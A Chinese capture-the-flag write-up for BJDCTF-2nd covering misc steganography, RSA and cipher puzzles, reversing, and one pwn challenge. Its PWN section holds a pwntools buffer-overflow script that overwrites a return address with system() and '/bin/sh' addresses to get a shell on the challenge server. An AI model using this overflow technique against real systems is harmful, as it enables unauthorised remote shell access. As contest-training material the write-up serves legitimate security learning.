[WP]BJDCTF-2nd 部分题目简略的wp
各位师傅脑洞太大了,我太菜了!
MISC部分
7zip无视任何伪加密
解压后用HxD 发现应该是png的文件 ,修改文件头得到图片
十六进制的ascii 转一下得到flag
修改png图片高度得到flag 过程略
分离得到压缩包 压缩包里有个伪装程jpg的avi文件
使用ffmpeg分帧得到图片序列
发现几张图片中有二维码
整理一下扫一扫得到十六进制ascii 解密得到flag
ps:有一张二维码我分离出来是很糊的,究其原因是二维码和背景穿插在一起了,写了个小工具隔行提取像素
好分辨多了
发现图片像素部分不是很整齐,猜测在数据里加入了什么奇怪的东西。直接拖进HxD搜索BJD获得flag
伪装成png的jpg结尾有个损坏的zip,修复一下文件头提取出来
是个不是十分清楚的二维码,之前写过一个工具把01转成二维码 的
这里可以把#号和空格先转成01,再用工具来转图片
扫描得到信息:
od -vtx1 ./draw.png | head -56 | tail -28
linux下跑一跑
好像存在若有若无的信息
复制出来把00替换成空格
得到flag
属性里发现新与佛论禅密码
题目信息需要把com删掉再猜
outguess解密获得flag
发现文件名就是解压密码,但是有好多好多的压缩包套在一起
简单写了个脚本来解压
#coding:utf-8 import os import zipfile zipfile_addr0='C:\\Users\\80597\\Desktop\\uSCYwZqgj\\' zipfile_addr=zipfile_addr0 pwd='uSCYwZqgj' lastname='uSCYwZqgj' while(1): zip_file = zipfile.ZipFile(zipfile_addr+lastname+'.tar.gz', 'r') for names in zip_file.namelist(): zip_file.extract(names,path=zipfile_addr0,pwd=pwd.encode('ascii')) pwd=names[:-7] print(pwd) print(names) lastname=names[:-7]
报错的时候就是解压完的时候,最终解压出一个flag文件,打开获得flag
太麻烦了没有做,大概思路是根据MP4文件的声音和图形,在 http://taqini.space/mikutap/
找到正确的输入方式,音痴听不出来声音差别,加上有几个按键的图形是一样的,不会写脚本就没做
CRYPTO部分
base64解密获得flag
标一下拼音再读一遍获得flag
按着猫吃的东西的种类转成01,获得二进制编码的ascii码,解密得到flag
对着密码表得到flag
十六进制转ascii得到一个密码和一串像flag的东西,维吉尼亚密码解密得到flag
quipqiup解密得到flag0,发现flag0最后的Cr4cy有点奇怪,改成Cr4ck提交成功。
已知p+q,p-q,e,c
#coding:utf-8 import gmpy2 import rsa pq1=22250388048308880024316977349809341685939423162948275675947994085277054361774080494965261301741886719459528418084716960924861010295152524116880106497751522 pq2=1054197181278220421888166119550140206534865025301161131046113252425996692768421411790410456867577308951447266942967113049841752689395865305880406455068220 p=(pq1+pq2)/2 q=pq1-(pq1+pq2)/2 n=p*q e=14354833 c=68975112462890588270208172994998743048269763196801643704249476699155516613422462080922918826015370109617536436870486169450728501884086888980608553291557303300708412437649232464407278064464958090097840631966205830777344512480936853537170969350350938450458067949421536725209001694542396593041569244275234737354 d = int(gmpy2.invert(e, (p-1)*(q-1))) m = pow(c, d, n) print("十进制:\n%s"%m) m_hex = hex(m)[2:] print("十六进制:\n%s"%(m_hex,))
得到ascii码的十六进制形态,转一下获得flag
已知p^2+q^2,p-q,e,c
#coding:utf-8 import gmpy2 import rsa p2q2=gmpy2.mpz(259870150123202155454079964196229682318882693733539125242181833753341522297911395053147840768751918376164416317984514098945599534262350832868637788562885745274992015203575025030520640189057961708030793208096741255732498859326630721887405343134923671852707579754268030462046680489211147355847068685567008847050) pjq=gmpy2.mpz(1180860509687096025228744618117184943328163071354319023947142766094690788978515122755023082429739737904484382341771193026821616292827580560261545374978242) e=14895131 c=gmpy2.mpz(26187382623647278373304895968254513957970995846994656651856434786558410150064637317346872011072665992032405303757734513417189115004205856776310280756771373475612428904395880721184617021494677547829121069525059620157504999409025383169676626532774335579689448879911225100594216817651872138927531391118873652889) pq=(p2q2-pjq**2)/2 print p2q2+2*pq pq2=gmpy2.iroot(p2q2+2*pq,2)[0] print pq2 p=(pq2+pjq)/2 print 'p:'+str(p) q=pq2-p print 'q:'+str(q) n=p*q print p+q print p**2+q**2 d = int(gmpy2.invert(e, (p-1)*(q-1))) m = pow(c, d, n) print("十进制:\n%s"%m) m_hex = hex(m)[2:] print("十六进制:\n%s"%(m_hex,))
得到ascii码的十六进制形态,转一下获得flag
PWN
#coding:utf-8 from pwn import * p=remote("node3.buuoj.cn",26768) #p=process("./r2t3") #attach(p,'b strlen') sysaddr=0x8048430 binaddr=0x8048760 i=1 while(1): #p=process("./r2t3") #p.sendline('aaaaaaaa'+'\x00'+'a'*100) p.sendline('a'*21+p32(sysaddr)+p32(binaddr)*1000)#暴力可以解决很多问题 i=i+1 print i #try: # print p.recv(timeout=1) # print p.recv(timeout=1) #except EOFError: # p.close() # continue #p.close() p.interactive()
RE
IDA里shift+F12 搜索字符串得到flag
16位程序用IDA反汇编效果不是很好,从吾爱破解淘了个工具过来
虽然看不太懂,这个和1F异或还是很明显的
结合之前在IDA里找到的字符串
写脚本拿flag
#include<stdio.h> #include<string.h> int main() { char a[]="]U[du~|t@{z@wj.}.~q@gjz{z@wzqW~/b;"; for(int i=0;i<strlen(a);i++){ printf("%c",a[i]^0x1F); } }